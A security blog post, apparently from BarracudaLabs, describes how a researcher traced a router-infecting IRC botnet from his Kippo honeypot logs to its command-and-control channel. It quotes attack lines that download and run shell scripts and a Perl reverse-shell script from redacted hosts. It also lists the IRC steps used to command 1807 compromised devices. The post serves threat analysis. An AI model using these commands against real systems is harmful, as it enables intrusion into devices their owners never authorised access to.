Kippo Honeypot BotNet Takedown

Feb 14, 14 Kippo Honeypot BotNet Takedown

Just as I’m contemplating the next article to write it comes to me. Literally came to me in the form of an unnamed source. Let’s call the unnamed source…Bob!

Bob maintains a Kippo honeypot and last weekend the honeypot was infiltrated by a Linux botnet. Bob is an intelligent security professional who appreciates unwelcomed guests crashing down the front door…well only at the honeypot.

Bob generously shared his work from the prior weekend of following the breadcrumbs, in a manner of speaking, to the Command and Control (C&C).

The breadcrumb trail might be too technical for the average person. If you are the type who enjoys getting down and dirty and/or has the time then the full transcript is publicly available. Enjoy!

For the rest of us, the story begins with Bob finding event logs indicating a new bot was attempting to download and execute a couple shell scripts. The following is a replay of the logs:

kippo@fakeserver:~/kippo/log/tty$ python ../../utils/ 20140207-104738-1172.log

fakeserver:~# shell
bash: shell: command not found

fakeserver:~# cd /var/run
-bash: cd: /var/run: Not a directory

fakeserver:~# wget http://redacted/wgsh
--2014-02-07 10:47:47--  http://redacted/wgsh
Connecting to redacted:80... connected.
HTTP request sent, awaiting response... test ! -e wgsh && busybox wget http://redacted//bbsh
sh wgsh
sh bbsh
200 OK
Length: 590 (590bytes) [text/plain; charset=ISO-8859-1]
Saving to: `wgsh
100%[======================================>] 590
2014-02-07 10:47:49 (0 KB/s) - `wgsh' saved [590/590]


Bob wanted to understand who the attacker was so he did some reconnaissance. Using the tools ‘whois’ and ‘nslookup’ it was discovered that the source of the attack came from an IP address of an Argentinian ISP, assuming that the IP address wasn’t spoofed. Feel free to run the below commands yourself to see the results.

$ whois
$ nslookup

The bash scripts where next on Bob’s list to analyze. The complete listings are available to read on page 3 of the transcript.

Bob breaks down his observations of the script’s intent to execute, “The first script, wgsh, downloads binaries and attempts to execute them. It also attempts to backdoor the nvram variable rc_firewall which is commonly used in DD-WRT and OpenWRT.” What makes this interesting is that the attacker(s) are looking to infect wireless access points. If you recall, something like this was done with the Carna botnet to census the Internet in 2012. After discussing this with Bob he has determined that these two attack methods are similar. We speculate someone with malicious intent read the Carna paper then modified it.

Bob continues, “The attacker could potentially be targeting a variety of architectures including MIPS, ARM, and x86. The second script, nvr, pulls down a different set of binaries and attempts to execute them again. The third script is used to fall back on in the event that only busybox exists on the system, but functions the same way as wgsh except without the nvram backdoor trick.”

The analysis moves to the binary downloaded file named irq32. Bob uses the strace and WireShark tools in a virtual machine for dynamic analysis:

$ strace ./irq32 -s 1500 -e trace=network,read,write
$ strace -p <process number> s 1500 -e trace=network,read,write

Bob finds that “the strace portion … is essentially doing a DNS lookup on the domain to verify Internet connectivity then creates a socket to connect to the command and control.”

After analysis of the WireShark network traffic trace the results are:
1. Connect to IRC C&C
2. Set Nick
    NICK x32|x|388943|Ubuntu
3. Set User
    USER x00 localhost localhost :#x00
4. Reply to Ping
    PONG :CA3F65F7
5. Server sends CTCP VERSION to detect if the client connecting is a bot
    :IRC!IRC@molot.ov PRIVMSG x32|x|388943|ubuntu :VERSION
6. C&C tells the bot to join #all then #x01
    :x32|x|388943|ubuntu!x00@redacted JOIN :#all
7. Bot joins #x01 with password 777
    JOIN #x01 :777
8. User x00 invites bot to join #x00 with password 1391556153
    :molot.ov 333 x32|x|388943|ubuntu #x01 x00 1391556153
9. The attacker issues shell command id to all 32 bit hosts in #x01
    :x00!pwned@lolhome PRIVMSG #x01 :!x32* SH id
10. Attacker starts pulling down a perl script on a variety of hosts
    :x00!pwned@lolhome PRIVMSG #x01 :!x32*3 SH wget http://redacted/money/kit/bcpl -P /tmp && perl /tmp/bcpl redacted 8080

The PERL script downloaded, in line 10, to the “infected” device uses a commonly found method of a reverse shell to open a backdoor. The backdoor is used to remotely save the system name, user ID, the current working directory and the shell being used.

Bob detected the web server had Directory Listing enabled. After some hunting he found a folder named “x00” which was used in lines 3, 8, 9 and 10 above. Of the files retrieved, the most interesting was named “Kaiten.c” and is believed to be the C&C client.

Next steps were to manually execute the same commands the botnet client used above. Now at this point the debate enters the conversation about whether or not Bob should have stopped here or continued to help the innocent. The argument about to “Attack Back” or not is out of scope for this article, but is mentioned for anyone reading and feeling compelled to post a comment below. Go for it!

The manual commands typed look like this:

Step 1) /set irc.ctcp.version “”
Step 2) /connect redacted
Step 3) /NICK x32|x|388943|ubuntu
Step 4) /join #x01 777
Step 5) /join #x00 1391556153
Step 6) /msg #x00 !* SH uname -a

The result was 1807 bots called in and provided information such as this:
15:24:49  redacted  -- | TH|Ms|f|999549|WRT54GL (x00@redacted): Linux  2.4.20 #4 Mon Jan 1 09:48:10 PST 2007 mips unknown

Bob knows that the individuals who are administering these devices are unaware of the bot activities and he needs to notify them. He sends a command to echo a warning message “Change your SSH password. Your server was compromised due to a weak password.”

Once again it cannot be stressed enough how important it is to change the default passwords on your devices, especially infrastructure devices and to use a strong password.

The next day, calling into the IRC channel are a remaining 15 bots. In an effort to understand the global impact of the found Kippo botnet, Bob did some statistical analysis with the help of a Python script.

# architectures

# Number of hosts by architecture













For the larger quantities of data, I converted them into pretty charts so it’s easier on the eyes.

Types of hardware devices infected

Types of hardware devices infected

bots found by country

Bots by Country

Bob finalizes the transcript with a summary, “Bot from Argentina compromises server via weak ssh credentials. Pulls down shell scripts from Russian server. Shell scripts pull down binaries from multiple Russian servers. Binaries call back to server in India. C&C pulls down various Perl scripts from server in Thailand. Perl scripts call back to server in Seattle, USA. The majority of the compromised hosts are located in Jordan, Saudi Arabia, and Bangladesh. Almost all of the hosts are ARM or MIPS based architecture meaning they’re most likely routers. Anyway, I logged back on the server the next day and they were only 15 bots.”

Bob, thank you for following the trail of breadcrumbs back to the IRC channel where you enabled some administrators to reclaim control of their devices from the Kippo botnet. The BarracudaLabs readers are looking forward to your next discovery.


  1. You might find this a little interesting…it’s directly related I believe. I’m still seeing attacks, but from a few other IP addresses.


  2. I love it, people are still using standard IRC protocol in their bots, NOOOOOOBS.

  3. NewInNetsec /

    Didn’t the botmaster just move the bots away after seeing Bob sending an echo message instead of server owners fixing their problems?
    I fail to see how an echoed warning could be useful when almost all of the bots are routers and routers are usually just sitting alone instead of being watched for echoes 24/7.

    Please explain!

    • David Schwartzberg /


      Sorry for the delayed response. I sent your question to Bob and this is his response verbatim.

      “Echo’ing alerts root via internal mail. The process and malware were also removed. The botmaster did not have a persistence strategy.”

      Does that help answer your question?

  4. Great article. I wish I were brave enough to expose a machine like that. We’ve been under attack by TurkBot for the last 14 months, but all we do, is to report the zombies to their ISP’s for malware removal. We’ve reported the IP addresses of the C&C’s to TurkTelekom, who refuse to take any action, so you’re luckier, in that respect.
    Our IDS/IPS automatically does the reporting and firewall updates,so it’s all quite painless, but not as satisfying as your approach

    • David Schwartzberg /


      So it sounds like your layered approach is detecting and stopping the zombie attacks. If I got that right then that’s awesome!

      If TurkBot is anything like ZeuS or a variant, you can report them to ZeuS Tracker and that may help with taking down the C&C.

      Stay safe and secure online,
      David Schwartzberg